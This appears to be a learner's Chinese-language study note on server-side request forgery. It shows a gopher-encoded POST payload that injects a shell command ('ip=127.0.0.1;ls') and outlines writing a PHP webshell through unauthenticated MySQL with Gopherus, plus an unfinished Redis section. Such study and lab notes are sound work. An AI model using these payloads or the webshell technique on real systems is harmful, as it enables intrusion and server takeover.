使用SSRF进行POST提交命令执行

使用gopher伪协议进行POST提交
POST提交格式:
POST/ HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencodedContent-Length:15
ip=127.0.0.1;ls

需要4个参数和提交内容
提交内容的键值可以通过查看网页源代码

ssrf学习3-LMLPHP

ssrf学习3-LMLPHP

将我们构造的内容两次url编码

ssrf学习3-LMLPHP
注意要加上端口号

url=gopher%3A%2F%2F172.250.250.5%3A80%2F_POST HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

ip=127.0.0.1;ls

使用SSRF对mysql未授权文件写入

先学习一下mysql写shell

https://www.cnblogs.com/zztac/p/11371149.html

通过MySQL写入webshell的几种方式(小宇特详解)_mysql写webshell-CSDN博客

大概了解了一下,客户端连接mysql有两种,一种是有密码,一种是无密码, 所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,这里利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

进行mysql查询的时候同样有数据包交互,我们要做的就是伪造这种数据包交互,进行curl,当然,这种我们伪造的数据包是利用gopher协议进行发送的

curl gopher://127.0.0.1/_XXXXXX 大概像这样

条件 :mysql+ php架构 dict://127.0.0.1:3306/info 判断未授权

ssrf学习3-LMLPHP

然后我们用工具

Gopherus生成payload

ssrf学习3-LMLPHP

这个命令看读写文件函数调用限制

ssrf学习3-LMLPHP

注意:当执行这个命令时,需要注意单引号使用的是直角引号(‘’),而不是通常编程中使用的单引号(‘’)。这可能会导致语法错误,正确的命令应该使用标准单引号:

SHOW VARIABLES LIKE '%secure%';

这条命令的作用是列出所有名称里包含 “secure” 字样的系统变量及其值。这可以包括但不限于:

可以看到这里secure_file_priv 后面的值为空

所以对导入导出无限制

使用into outfile生成文件cmd.php并写入一句话

ssrf学习3-LMLPHP

使用SSRF对redi未授权webshell写入

原理:

也是用工具构造payload

ssrf学习3-LMLPHP

(手动构造的还没有看懂)

 

05-24 05:14